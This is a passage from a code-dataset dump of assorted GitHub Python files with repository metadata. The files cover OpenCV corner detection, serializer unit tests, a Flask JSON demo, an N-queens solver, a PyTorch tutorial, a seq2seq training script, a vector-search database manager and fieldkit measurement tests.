image)\n\n# 转成灰度图\ngray = cv.cvtColor(image, cv.COLOR_BGR2GRAY)\ncv.imshow('Gray', gray)\n\ncorner = cv.cornerHarris(gray, 10, 5, 0.04)\n# corner的值较小,需要放大处理才能显示,这里通过掩码的形式,对原图进行处理\ncorner = cv.dilate(corner, None)\nthreshold = corner.max() * 0.01\ncorner_mask = corner > threshold\nimage[corner_mask] = [0, 0, 255]\ncv.imshow('Corner', image)\n\ncv.waitKey()","repo_name":"zhnin/mypython","sub_path":"ml/myOpencvCorner.py","file_name":"myOpencvCorner.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"39308279991","text":"# pylint: disable=line-too-long\nimport pytest\n\nfrom backend.src.main.game.monster.concrete_monster_cards.frigid import Frigid\nfrom backend.src.main.game.monster.values import DungeonCardValues\nfrom backend.src.main.game.room.constructed_room import ConstructedRoom\nfrom backend.src.main.serializer.abstract_serializer import AbstractSerializer\nfrom backend.src.main.serializer.dungeon_serializer import DungeonSerializer\nfrom backend.src.main.serializer.enum_serializer import EnumSerializer\nfrom backend.src.main.serializer.room_serializer import RoomSerializer\nfrom backend.src.main.serializer.serializer_builder import SerializerBuilder\nfrom backend.src.main.serializer.tile_serializer import TileSerializer\n\n\ndef test_enum_serializer_on_trap_returns_trap_value():\n serializer = EnumSerializer()\n\n input_enum = DungeonCardValues.COIN\n\n actual = serializer.serialize(input_enum)\n expected = DungeonCardValues.COIN.value\n\n assert actual == expected\n\n\ndef test_serialize_tile(tile_a, enum_serializer):\n serializer = TileSerializer(enum_serializer)\n\n actual = serializer.serialize(tile_a)\n expected = {'x': 0, 'y': 0, 'z': 0, 'value': 'coin'}\n assert actual == expected\n\n\ndef test_serialize_test_room_with_mocked_tile_serializer(test_constructed_room, tile_serializer, enum_serializer):\n serializer = RoomSerializer(tile_serializer, enum_serializer)\n actual = serializer.serialize(test_constructed_room)\n expected = {\n 'name': 'foo',\n 'tiles': {},\n 'monsterCardName': 'Frigid',\n 'indicators': ['coin']\n }\n\n assert actual == expected\n\n\ndef test_serialize_test_room_with_tiles(test_constructed_room, tile_serializer, enum_serializer, tile_a, tile_b):\n serializer = RoomSerializer(tile_serializer, enum_serializer)\n test_constructed_room.set_tiles([tile_a, tile_b])\n actual = serializer.serialize(test_constructed_room)\n mocked_tile_value = tile_serializer.serialize.return_value\n\n expected = {\n 'name': 'foo',\n 'indicators': ['coin'],\n 'monsterCardName': 'Frigid',\n 'tiles': {\n 0: mocked_tile_value,\n 1: mocked_tile_value\n }\n }\n\n assert actual == expected\n\n\ndef test_serialize_room_with_trap_indicators(tile_serializer, enum_serializer, test_room):\n serializer = RoomSerializer(tile_serializer, enum_serializer)\n mocked_enum_value = enum_serializer.serialize.return_value\n test_constructed_room = ConstructedRoom(test_room, Frigid())\n\n actual = serializer.serialize(test_constructed_room)\n\n expected = {\n 'name': 'foo',\n 'indicators': [mocked_enum_value],\n 'monsterCardName': 'Frigid',\n 'tiles': {}\n }\n\n assert actual == expected\n\n\ndef test_serialize_dungeon_with_no_room(room_serializer, dungeon_generator):\n serializer = DungeonSerializer(room_serializer)\n actual = serializer.serialize(dungeon_generator)\n expected = {}\n assert actual == expected\n\n\ndef test_serialize_dungeon_with_one_room(room_serializer, dungeon_generator):\n serializer = DungeonSerializer(room_serializer)\n dungeon_generator.select_first_room()\n actual = serializer.serialize(dungeon_generator)\n expected = {\n 0: 'mocked_room'\n }\n assert actual == expected\n\n\ndef test_serialize_child_classes_raise_unimplement_error_when_method_not_implemented():\n class FooSerializer(AbstractSerializer): # pylint: disable=too-few-public-methods,abstract-method\n pass\n\n with pytest.raises(NotImplementedError):\n FooSerializer().serialize(None)\n\n with pytest.raises(NotImplementedError):\n FooSerializer().create()\n\n\ndef test_create_dungeon_serializer():\n actual = DungeonSerializer.create()\n util_is_dungeon_serializer_concrete(actual)\n\n\ndef test_create_dungeon_serializer_using_builder():\n actual = SerializerBuilder.create_dungeon_serializer()\n util_is_dungeon_serializer_concrete(actual)\n\n\ndef util_is_dungeon_serializer_concrete(concrete_dungeon_serializer):\n assert isinstance(concrete_dungeon_serializer, DungeonSerializer)\n\n room_serializer = concrete_dungeon_serializer.room_serializer\n assert isinstance(room_serializer, RoomSerializer)\n\n enum_serializer_in_room = room_serializer.enum_serializer\n tile_serializer = room_serializer.tile_serializer\n assert isinstance(enum_serializer_in_room, EnumSerializer)\n assert isinstance(tile_serializer, TileSerializer)\n\n enum_serializer_in_tile = tile_serializer.enum_serializer\n assert isinstance(enum_serializer_in_tile, EnumSerializer)\n","repo_name":"borisv1307/Gloom","sub_path":"backend/src/test/serializer/test_serializer.py","file_name":"test_serializer.py","file_ext":"py","file_size_in_byte":4546,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"5804217011","text":"import pandas as pd\nfrom modules.profile import *\n\nclass PriceCurve():\n def import_chmpk_in_ch(file_path:str) -> HourProfile:\n \"\"\"Convert CHMPK in EUR to CHF from the Sammlerexport.csv file located at the sharepoint url\n file_path: path to the sammlerexport csv\n year: the year to extract from Sammlerexport.csv\n \"\"\"\n \n # Import FWCs\n col_name_time = 'Timestamp (DD.MM.YYYY HH:mm)'\n df_fwc = pd.read_csv(file_path)\n df_fwc.dropna(inplace=True)\n\n ## eigener Zeitstempel generieren\n time_col = 'Timestamp (DD.MM.YYYY HH:mm)'\n dtix = HourProfile.create_timestamps(start_datetime=df_fwc[time_col].iloc[0], end_datetime=df_fwc[time_col].iloc[-1])\n df_fwc.set_index(dtix,inplace=True)\n\n ## calculate FWC CHMPF CHF\n df_fwc['chmpk_chf'] = df_fwc['CHMPK (EUR/MWh)'] * df_fwc['FX (CHF/EUR)']\n\n # FWC CHMPK EUR as Profile \n df_for_profile = df_fwc['chmpk_chf'].to_frame()\n return HourProfile(profile=df_for_profile['chmpk_chf'], name_val=Values.chf, type='CHMPK_EUR')\n\n","repo_name":"AeDani/EnergyUtils","sub_path":"modules/fwcImporter.py","file_name":"fwcImporter.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"18487879006","text":"import pkg_resources\nimport sys\nimport json\nfrom flask_restplus import Api, Resource, fields, marshal\nfrom flask import Flask, render_template, request\n\napp = Flask(__name__)\napi = Api(app)\n\njson_example_format = api.model('json_example', {\n 'language': fields.String('programming lanuage.'),\n 'framework': fields.String('framework.'),\n 'website': fields.String(),\n 'python_version_info': fields.String(),\n 'flask_version_info': fields.String(),\n 'examples': fields.List(fields.String),\n 'boolean_test': fields.Boolean()\n})\n\n\n@app.route('/')\ndef home():\n try:\n return render_template(\"index.html\")\n except Exception as e:\n return str(e)\n\n# @app.route('/generate')\n# def gnerate_number():\n# req_data\n\n\n@api.route('/json_example')\nclass Json_Example(Resource):\n @api.expect(json_example_format)\n def post(self):\n req_data = api.payload\n\n # retrive python version at run - time.\n req_data['python_version_info'] = str(sys.version_info[0]) + '.' + str(sys.version_info[1]) + '.' + str(sys.version_info[2])\n req_data['flask_version_info'] = pkg_resources.get_distribution(\"flask\").version\n language = req_data['language']\n framework = req_data['framework']\n python_version = req_data['python_version_info']\n flask_version = req_data['flask_version_info']\n example = req_data['examples'][0] # an index is needed because of the array\n boolean_test = req_data['boolean_test']\n\n return {'The language value is': req_data['language'],\n 'The framework value is': framework,\n 'The Python version is': python_version,\n 'The Flask version is': flask_version,\n 'The item at index 0 in the example list is': example,\n 'The boolean value is': boolean_test}, 200\n\n\n# @app.route('/json-example', methods=['POST']) # GET requests will be blocked\n# def json_example():\n# req_data = request.get_json()\n\n# # retrive python version at run-time.\n# req_data['version_info']['python'] = str(sys.version_info[0]) + '.' + str(sys.version_info[1]) + '.' + str(sys.version_info[2])\n# req_data['version_info']['flask'] = pkg_resources.get_distribution(\"flask\").version\n# language = req_data['language']\n# framework = req_data['framework']\n# python_version = req_data['version_info']['python'] # two keys are needed because of the nested object\n# flask_version = req_data['version_info']['flask'] # two keys are needed because of the nested object\n# example = req_data['examples'][0] # an index is needed because of the array\n# boolean_test = req_data['boolean_test']\n\n# return '''\n# The language value is: {}\n# The framework value is: {}\n# The Python version is: {}\n# The Flask version is: {}\n# The item at index 0 in the example list is: {}\n# The boolean value is: {}'''.format(language, framework, python_version, flask_version, example, boolean_test)\n\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0', port=80, debug=True)\n","repo_name":"skyzhou01/bp-ecs-fargate-demo","sub_path":"unused_flask.py","file_name":"unused_flask.py","file_ext":"py","file_size_in_byte":3114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"105298643","text":"#N皇后问题\r\nn = eval(input())\r\n\r\nlist = [-1] * n\r\ndef isValid(i, j): #判断能否安皇后\r\n for k in range(i):\r\n if list[k] == j or abs(list[k] - j) == abs(i - k): #45°角代表在一个斜线上\r\n return False\r\n return True\r\n\r\n\r\ndef Nqueen(i, n): #i为当前行\r\n if i == n:\r\n return 1\r\n res = 0\r\n for j in range(n): #尝试i行所有列\r\n if isValid(i, j):\r\n list[i] = j\r\n res += Nqueen(i+1, n)\r\n return res\r\n\r\nprint(Nqueen(0, n))","repo_name":"Ryanl2000/PythonSubject","sub_path":"DSAA/Nqueen.py","file_name":"Nqueen.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"40805722250","text":"#-*- coding:utf-8 -*-\n\n\n#-----------------------------------------神经网络--------------------------\n#autograd 实现了反向传播功能, 但是直接用来写深度学习的代码在很多情况下还是稍显复杂, torch.nn 是专门为神经网络设计的模块化接口. nn 构建于 Autograd 之上, 可用来定义和运行神经网络.\n# nn.Module 是 nn 中最重要的类, 可把它看成是一个网络的封装, 包含网络各层定义以及 forward 方法, 调用 forward(input) 方法, 可返回前向传播的结果.\n#主要有torch.nn,autograd,torch.nn,nn.Module,forward\n\nimport numpy as np\nimport torch\nfrom torch.autograd import Variable\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nclass Net(nn.Module):#从nn中继承而来\n def __init__(self):\n super(Net,self).__init__()#super() 函数是用于调用父类(超类)的一个方法。用于多重继承\n\n self.conv1 = nn.Conv2d(1,6,5)## 卷积层 '1'表示输入图片为单通道, '6'表示输出通道数, '5'表示卷积核为5*5\n self.conv2 = nn.Conv2d(6,16,5)\n\n self.fc1 = nn.Linear(16 * 5 * 5,120)\n self.fc2 = nn.Linear(120,84)\n self.fc3 = nn.Linear(84,10)\n\n def forward(self, x):\n x = F.max_pool2d(F.relu(self.conv1(x)),(2,2))\n x = F.max_pool2d(F.relu(self.conv2(x)), 2)# 如果大小是正方形, 则只能指定一个数字\n x = x.view(-1,self.num_flat_features(x))#卷积层需要展开为全链接层\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = self.fc3(x)\n return x\n def num_flat_features(self,x):\n # print(list(x.size()))\n size = np.array(list(x.size()))# 除批量维度外的所有维度\n print(size)\n num_features = 1\n for s in size:\n num_features *= s\n print(\"numfeatures\",num_features)\n return num_features\n\nnet = Net()\n# print(net)\n#你只要在 nn.Module 的子类中定义了 forward 函数, backward 函数就会自动被实现(利用 autograd ). 在 forward 函数中可使用任何 Tensor 支持的操作\n# 网络的可学习参数通过 net.parameters() 返回, net.named_parameters 可同时返回学习的参数以及名称.\n\nparams = list(net.parameters())\n# print(list(net.named_parameters()))\n# print(len(params))\nprint(params[0].size())\n\ninput = Variable(torch.randn(1,1,32,32))\nout = net(input)\n# print(out)\n\n#网络中所有参数清零\nnet.zero_grad()\nout.backward(torch.randn(1,10))\n\n# torch.nn 只支持小批量(mini-batches), 不支持一次输入一个样本, 即一次必须是一个 batch.\n# 例如, nn.Conv2d 的输入必须是 4 维的, 形如 nSamples x nChannels x Height x Width.\n# 如果你只想输入一个样本, 需要使用 input.unsqueeze(0) 将 batch_size 设置为 1.\n\n\n\n\n\n#-----------------------------------------------------损失函数-------------------------------------------\n#nn.MSELoss表示均方误差\noutput = net(input)\ntarget = Variable(torch.arange(1,11))\ncriterion = nn.MSELoss()\nloss = criterion(output,target)\nprint(loss)\n# print(loss.grad_fn)\n\n\n\n\n\n#-----------------------------------------------------反向传播------------------------------------------\n#为了反向传播误差, 我们所要做的就是 loss.backward(). 你需要清除现有的梯度, 否则梯度会累加之前的梯度.\nnet.zero_grad()\n# print(net.conv1.bias.grad)\nloss.backward()\n# print(net.conv1.bias.grad)\n\n\n\n\n\n\n\n\n\n#-----------------------------------------------更新权重--------------------------------------------\n#weight = weight - learning_rate * gradient\nlearning = 0.01\nfor f in net.parameters():\n f.data.sub_(f.grad.data * learning)\nimport torch.optim as optim\nopt = optim.SGD(net.parameters(),lr = 0.01)# 新建一个优化器, 指定要调整的参数和学习率\n\nopt.zero_grad()# 首先梯度清零\noutput = net(input)\nloss = criterion(output,target)\nloss.backward()\nopt.step()# 更新参数\nprint (loss)","repo_name":"jainszhang/LearnDM","sub_path":"DL/torch_practice/PyTorch入门/test1.3.py","file_name":"test1.3.py","file_ext":"py","file_size_in_byte":3935,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"8798910619","text":"class BIT(): #要素番号は始めを1としていることに注意\n def __init__(self,n,mod=0):\n self.BIT = [0]*(n+1)\n self.num = n\n self.mod = mod\n\n def query(self,idx): #1からidx番目までの和を返す\n res_sum = 0\n mod = self.mod\n while idx > 0:\n res_sum += self.BIT[idx]\n if mod:\n res_sum %= mod\n idx -= idx&(-idx)\n return res_sum\n\n #Ai += x O(logN)\n def update(self,idx,x): #idx番目の要素にxを足す\n mod = self.mod\n while idx <= self.num:\n self.BIT[idx] += x\n if mod:\n self.BIT[idx] %= mod\n idx += idx&(-idx)\n return\n\ndef tenntou(l): #lの要素は1以上、重複は可、O(NlogN)\n bit = BIT(max(l)+1)\n ans = 0\n for i,n in enumerate(l):\n n += 1\n ans += i - bit.query(n)\n bit.update(n,1)\n return ans\nN = int(input())\nA = list(map(int,input().split()))\nans = tenntou(A)\nprint(ans)\nfor k in range(N-1):\n ans += -2*A[k] + N - 1\n print(ans)\n","repo_name":"shimamura10/Atcoder","sub_path":"過去問/単発/ABC190f.py","file_name":"ABC190f.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"74778936807","text":"import os\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.utils.data import DataLoader\n\nfrom dataset import WMTCollator, WMTDataset\nfrom language import Language\nfrom network import Seq2SeqModel\nfrom train_utils import train\nfrom utils import set_global_seed\n\n# path\nINPUT_LANG_TRAIN_DATA_PATH = \"data/IWSLT15_English_Vietnamese/train.en\"\nOUTPUT_LANG_TRAIN_DATA_PATH = \"data/IWSLT15_English_Vietnamese/train.vi\"\nINPUT_LANG_VAL_DATA_PATH = \"data/IWSLT15_English_Vietnamese/tst2012.en\"\nOUTPUT_LANG_VAL_DATA_PATH = \"data/IWSLT15_English_Vietnamese/tst2012.vi\"\nINPUT_LANG_TEST_DATA_PATH = \"data/IWSLT15_English_Vietnamese/tst2013.en\"\nOUTPUT_LANG_TEST_DATA_PATH = \"data/IWSLT15_English_Vietnamese/tst2013.vi\"\n\nINPUT_LANG = \"en\"\nOUTPUT_LANG = \"vi\"\nINPUT_LANG_WORD2IDX_PATH = f\"vocab/{INPUT_LANG}_vocab.json\"\nOUTPUT_LANG_WORD2IDX_PATH = f\"vocab/{OUTPUT_LANG}_vocab.json\"\n\nSAVE_MODEL_PATH = \"models/seq2seq.pth\"\n\n# hyper-parameters\nSEED = 42\nDEVICE = \"cuda\"\nVERBOSE = True\n\nUNK_ID = 0\nBOS_ID = 1\nEOS_ID = 2\nPAD_ID = 3\n\nBATCH_SIZE = 32\nREVERSE_SOURCE_LANG = True\nBUCKET_SEQUENCING_PERCENTILE = 100\n\nENCODER_EMBEDDING_DIM = DECODER_EMBEDDING_DIM = 500\nENCODER_HIDDEN_SIZE = DECODER_HIDDEN_SIZE = 500\nENCODER_NUM_LAYERS = DECODER_NUM_LAYERS = 2\nENCODER_DROPOUT = DECODER_DROPOUT = 0.2\n\nN_EPOCH = 12\nLEARNING_RATE = 1\nTRAIN_EVAL_FREQ = 50 # number of batches\n\n\n# print params\nif VERBOSE:\n print(\"### PARAMETERS ###\")\n print()\n print(f\"INPUT_LANG_TRAIN_DATA_PATH: {INPUT_LANG_TRAIN_DATA_PATH}\")\n print(f\"OUTPUT_LANG_TRAIN_DATA_PATH: {OUTPUT_LANG_TRAIN_DATA_PATH}\")\n print(f\"INPUT_LANG_VAL_DATA_PATH: {INPUT_LANG_VAL_DATA_PATH}\")\n print(f\"OUTPUT_LANG_VAL_DATA_PATH: {OUTPUT_LANG_VAL_DATA_PATH}\")\n print(f\"INPUT_LANG_TEST_DATA_PATH: {INPUT_LANG_TEST_DATA_PATH}\")\n print(f\"OUTPUT_LANG_TEST_DATA_PATH: {OUTPUT_LANG_TEST_DATA_PATH}\")\n print()\n print(f\"INPUT_LANG: {INPUT_LANG}\")\n print(f\"OUTPUT_LANG: {OUTPUT_LANG}\")\n print(f\"INPUT_LANG_WORD2IDX_PATH: {INPUT_LANG_WORD2IDX_PATH}\")\n print(f\"OUTPUT_LANG_WORD2IDX_PATH: {OUTPUT_LANG_WORD2IDX_PATH}\")\n print()\n print(f\"SAVE_MODEL_PATH: {SAVE_MODEL_PATH}\")\n print()\n print(f\"SEED: {SEED}\")\n print(f\"DEVICE: {DEVICE}\")\n print()\n print(f\"UNK_ID: {UNK_ID}\")\n print(f\"BOS_ID: {BOS_ID}\")\n print(f\"EOS_ID: {EOS_ID}\")\n print(f\"PAD_ID: {PAD_ID}\")\n print()\n print(f\"BATCH_SIZE: {BATCH_SIZE}\")\n print(f\"REVERSE_SOURCE_LANG: {REVERSE_SOURCE_LANG}\")\n print(f\"BUCKET_SEQUENCING_PERCENTILE: {BUCKET_SEQUENCING_PERCENTILE}\")\n print()\n print(f\"ENCODER/DECODER_EMBEDDING_DIM: {ENCODER_EMBEDDING_DIM}\")\n print(f\"ENCODER/DECODER_HIDDEN_SIZE: {ENCODER_HIDDEN_SIZE}\")\n print(f\"ENCODER/DECODER_NUM_LAYERS: {ENCODER_NUM_LAYERS}\")\n print(f\"ENCODER/DECODER_DROPOUT: {ENCODER_DROPOUT}\")\n print()\n print(f\"N_EPOCH: {N_EPOCH}\")\n print(f\"LEARNING_RATE: {LEARNING_RATE}\")\n print(f\"TRAIN_EVAL_FREQ: {TRAIN_EVAL_FREQ}\")\n print()\n\n\n# seed and device\nset_global_seed(SEED)\ndevice = torch.device(DEVICE)\n\n\n# language\ninput_language = Language(\n language=INPUT_LANG,\n path_to_word2idx=INPUT_LANG_WORD2IDX_PATH,\n unk_id=UNK_ID,\n bos_id=BOS_ID,\n eos_id=EOS_ID,\n)\noutput_language = Language(\n language=OUTPUT_LANG,\n path_to_word2idx=OUTPUT_LANG_WORD2IDX_PATH,\n unk_id=UNK_ID,\n bos_id=BOS_ID,\n eos_id=EOS_ID,\n)\n\n\n# data\ntrain_dataset = WMTDataset(\n input_lang_data_path=INPUT_LANG_TRAIN_DATA_PATH,\n output_lang_data_path=OUTPUT_LANG_TRAIN_DATA_PATH,\n input_language=input_language,\n output_language=output_language,\n reverse_source_lang=REVERSE_SOURCE_LANG,\n verbose=VERBOSE,\n)\nval_dataset = WMTDataset(\n input_lang_data_path=INPUT_LANG_VAL_DATA_PATH,\n output_lang_data_path=OUTPUT_LANG_VAL_DATA_PATH,\n input_language=input_language,\n output_language=output_language,\n reverse_source_lang=REVERSE_SOURCE_LANG,\n verbose=VERBOSE,\n)\ntest_dataset = WMTDataset(\n input_lang_data_path=INPUT_LANG_TEST_DATA_PATH,\n output_lang_data_path=OUTPUT_LANG_TEST_DATA_PATH,\n input_language=input_language,\n output_language=output_language,\n reverse_source_lang=REVERSE_SOURCE_LANG,\n verbose=VERBOSE,\n)\n\ntrain_collator = WMTCollator(\n input_lang_pad_id=PAD_ID,\n output_lang_pad_id=PAD_ID,\n percentile=BUCKET_SEQUENCING_PERCENTILE,\n)\ntest_collator = WMTCollator( # same for val_loader\n input_lang_pad_id=PAD_ID,\n output_lang_pad_id=PAD_ID,\n percentile=100,\n)\n\ntrain_loader = DataLoader(\n dataset=train_dataset,\n batch_size=BATCH_SIZE,\n shuffle=True,\n collate_fn=train_collator,\n)\nval_loader = DataLoader(\n dataset=val_dataset,\n batch_size=1,\n shuffle=False,\n collate_fn=test_collator,\n)\ntest_loader = DataLoader(\n dataset=test_dataset,\n batch_size=1,\n shuffle=False,\n collate_fn=test_collator,\n)\n\n\n# model\nmodel = Seq2SeqModel(\n encoder_num_embeddings=len(input_language.word2idx),\n encoder_embedding_dim=ENCODER_EMBEDDING_DIM,\n encoder_hidden_size=ENCODER_HIDDEN_SIZE,\n encoder_num_layers=ENCODER_NUM_LAYERS,\n encoder_dropout=ENCODER_DROPOUT,\n decoder_num_embeddings=len(output_language.word2idx),\n decoder_embedding_dim=DECODER_EMBEDDING_DIM,\n decoder_hidden_size=DECODER_HIDDEN_SIZE,\n decoder_num_layers=DECODER_NUM_LAYERS,\n decoder_dropout=DECODER_DROPOUT,\n).to(device)\n\nif VERBOSE:\n print(f\"model number of parameters: {sum(p.numel() for p in model.parameters())}\")\n\n\n# criterion, optimizer, scheduler\ncriterion = nn.CrossEntropyLoss(\n ignore_index=PAD_ID,\n)\noptimizer = optim.SGD(\n model.parameters(),\n lr=LEARNING_RATE,\n)\nscheduler = optim.lr_scheduler.MultiStepLR( # hardcoded\n optimizer,\n milestones=[8, 9, 10, 11],\n gamma=0.5,\n)\n\n\n# train\ntrain(\n model=model,\n trainloader=train_loader,\n valloader=val_loader,\n testloader=test_loader,\n criterion=criterion,\n optimizer=optimizer,\n scheduler=scheduler,\n n_epoch=N_EPOCH,\n train_eval_freq=TRAIN_EVAL_FREQ,\n device=device,\n verbose=VERBOSE,\n)\n\n\n# save\nos.makedirs(\"models\", exist_ok=True)\ntorch.save(model.state_dict(), SAVE_MODEL_PATH)\n","repo_name":"dayyass/neural-machine-translation","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":6124,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"53"} +{"seq_id":"1630404899","text":"from enum import Enum\nfrom typing import List\n\nfrom dao.feature import DATA_VECTOR\nfrom dao.cosine import Cosine\nfrom dao.milvus import Milvus, connect, drop_collection\nfrom utils.config import RMFConfig, cfg\nfrom core import AlgoType, algo_list, get_dim\nfrom utils.file_client import get_download_url\n\n\nclass CMPTYPE(Enum):\n MILVUS = \"milvus\"\n COSINE = \"cosine\"\n\n\nclass DBManager:\n '''\n 数据管理,统一管理mysql数据库与向量比对数据库\n 对外提供统一的insert、search、delete接口\n '''\n\n def __init__(self) -> None:\n self.cmp_map = {}\n\n def init(self, cfg: RMFConfig):\n if cfg.CMP_MODE == CMPTYPE.MILVUS.value:\n # 与milvus数据库建连\n connect(cfg.MILVUS_HOST, cfg.MILVUS_PORT)\n print(\"milvus: start init and load vector to memory\")\n self.milvus_init(cfg.DB_NAME)\n if cfg.SYNC_MILVUS == True:\n '''\n 开启同步模式,则需要删除原有数据,从mysql中加载数据\n '''\n self.milvus_load()\n print(\"milvus: init success\")\n elif cfg.CMP_MODE == CMPTYPE.COSINE.value:\n print(\"cosine: start init\")\n self.cosine_init(cfg.DB_NAME)\n # 将数据库中数据加载到内存中\n self.cosine_load()\n print(\"cosine: init success\")\n else:\n raise TypeError(f\"Unsupport compare mode: {cfg.CMP_MODE}\")\n\n def milvus_init(self, db_name: str):\n '''\n collection_name = db_name + \"_\" + algo_name\n '''\n for algo in algo_list:\n if cfg.SYNC_MILVUS == True:\n drop_collection(db_name + \"_\" + algo.value)\n self.cmp_map[algo] = Milvus(db_name + \"_\" + algo.value, get_dim(algo))\n\n def milvus_load(self):\n '''\n 从数据库中查询出所有数据,然后将数据加载到内存中\n '''\n print(\"milvus: select data from mysql\")\n result = DATA_VECTOR.select_all()\n print(\"milvus: select success\")\n print(\"milvus: start load vector to memory\")\n for i, algo in enumerate(algo_list):\n self.cmp_map[algo].insert([result[-1], result[i]])\n print(\"milvus: load success\")\n\n def cosine_init(self, db_name: str):\n for algo in algo_list:\n self.cmp_map[algo] = Cosine(db_name + \"_\" + algo.value, get_dim(algo))\n\n def cosine_load(self):\n '''\n 从数据库中查询出所有数据,然后将数据加载到内存中\n '''\n print(\"cosine: select data from mysql\")\n result = DATA_VECTOR.select_all()\n print(\"cosine: select success\")\n print(\"cosine: start load vector to memory\")\n for i, algo in enumerate(algo_list):\n self.cmp_map[algo].insert([result[-1], result[i]])\n print(\"cosine: load success\")\n\n def insert(self, filename: str, filepath: str, filepath_thumbnail: str, vectors: List[List[float]]):\n # 插入mysql\n id = DATA_VECTOR.insert(\n filename, filepath, filepath_thumbnail, \n vectors[0], vectors[1], vectors[2], vectors[3], vectors[4])\n # 将数据加入向量数据库\n for i, algo in enumerate(algo_list):\n self.cmp_map[algo].insert([[id], [vectors[i]]])\n\n def search(self, algo: AlgoType, vector: List[float], limit: int = 12) -> List[dict]:\n '''\n 不同的向量对比方法得出的score是不一样的,\n milvus中使用L2距离法,因此0为距离最近,最相似\n cosine中使用余弦相似度,取值范围为[-1, 1], 1为最相似\n '''\n # 从向量数据库中找到符合条件的数据id\n scores, indexs = self.cmp_map[algo].search(vector, limit)\n # 根据id查询图片信息并返回\n result = []\n for i, id in enumerate(indexs):\n res = DATA_VECTOR.select_one(id)\n result.append({\n \"id\": id,\n \"score\": float(scores[i]),\n \"filename\": res[0],\n \"filepath\": get_download_url(cfg.FILE_SERVER_URL, res[1]),\n \"filepath_thumbnail\": get_download_url(cfg.FILE_SERVER_URL, res[2]),\n })\n return result\n\n\ndb_m = DBManager()\n","repo_name":"xpanp/retrieval-mf","sub_path":"manage/db_manage.py","file_name":"db_manage.py","file_ext":"py","file_size_in_byte":4312,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"53"} +{"seq_id":"31722652148","text":"\"\"\" Unit tests for fieldkit.measure.\n\n\"\"\"\nimport unittest\nimport numpy as np\nimport fieldkit\n\nclass MeasureTest(unittest.TestCase):\n def test_volume(self):\n \"\"\" Test for domain volume calculation by :py:meth:`~fieldkit.domain.volume`.\n \"\"\"\n mesh = fieldkit.Mesh().from_lattice(N=4, lattice=fieldkit.HOOMDLattice(L=4.0))\n self.assertAlmostEqual(mesh.lattice.volume, 64.)\n\n # 25% covered\n field = fieldkit.Field(mesh).from_array(np.zeros(mesh.shape))\n field[:,:,0] = 1.\n vol = fieldkit.measure.volume(field, threshold=0.5, N=500000, seed=42)\n self.assertAlmostEqual(vol, 0.25*mesh.lattice.volume, places=1)\n\n # 50% covered\n field[:,:,2] = 1.\n vol = fieldkit.measure.volume(field, threshold=0.5, N=500000, seed=42)\n self.assertAlmostEqual(vol, 0.5*mesh.lattice.volume, places=1)\n\n # 75% covered\n field[:,:,1] = 1.\n vol = fieldkit.measure.volume(field, threshold=0.5, N=500000, seed=42)\n self.assertAlmostEqual(vol, 0.75*mesh.lattice.volume, places=1)\n\n # 100% covered\n field[:,:,3] = 1.\n vol = fieldkit.measure.volume(field, threshold=0.5, N=5e5, seed=42)\n self.assertAlmostEqual(vol, mesh.lattice.volume, places=1)\n\n def test_area(self):\n \"\"\" Test for domain surface triangulation and area calculation.\n \"\"\"\n mesh = fieldkit.Mesh().from_lattice(N=4, lattice=fieldkit.HOOMDLattice(L=4.0))\n self.assertAlmostEqual(mesh.lattice.volume, 64.)\n\n # make a plane in the box\n field = fieldkit.Field(mesh).from_array(np.zeros(mesh.shape))\n field[:,:,0] = 1.\n surface = fieldkit.measure.triangulate(field, threshold=0.5)\n area = fieldkit.measure.surface_area(surface)\n\n self.assertAlmostEqual(area, 2*mesh.lattice.L[0]*mesh.lattice.L[1])\n\n def test_minkowski(self):\n \"\"\" Test Minkowski functionals for a slab domain with periodic boundaries.\n \"\"\"\n mesh = fieldkit.Mesh().from_lattice(N=2, lattice=fieldkit.HOOMDLattice(L=4.0))\n field = fieldkit.Field(mesh).from_array(np.zeros(mesh.shape))\n field[:,:,0] = 1\n\n ## check that the right values are computed (reference values determined by hand)\n domain = fieldkit.domain.digitize(field, threshold=0.5)\n V,S,B,chi = fieldkit.measure.minkowski(domain)\n a = 2.0\n self.assertAlmostEqual(V, 4*a**3)\n self.assertAlmostEqual(S, 8*a**2)\n self.assertAlmostEqual(B, 0*a)\n self.assertEqual(chi, 0)\n\n ## ensure an error is rasied for non-cubic lattices\n # orthorhombic without extra mesh points\n mesh = fieldkit.Mesh().from_lattice(N=2, lattice=fieldkit.HOOMDLattice(L=(4.0,6.0,8.0)))\n field = fieldkit.Field(mesh).from_array(np.zeros(mesh.shape))\n field[:,:,0] = 1\n domain = fieldkit.domain.digitize(field, threshold=0.5)\n with self.assertRaises(ValueError):\n V,S,B,chi = fieldkit.measure.minkowski(domain)\n # triclinic\n mesh = fieldkit.Mesh().from_lattice(N=2, lattice=fieldkit.HOOMDLattice(L=4.0,tilt=[0.5,0.,0.]))\n field = fieldkit.Field(mesh).from_array(np.zeros(mesh.shape))\n field[:,:,0] = 1\n domain = fieldkit.domain.digitize(field, threshold=0.5)\n with self.assertRaises(ValueError):\n V,S,B,chi = fieldkit.measure.minkowski(domain)\n\n\n def test_sphere(self):\n \"\"\" Test for measuring properties of a sphere\n \"\"\"\n mesh = 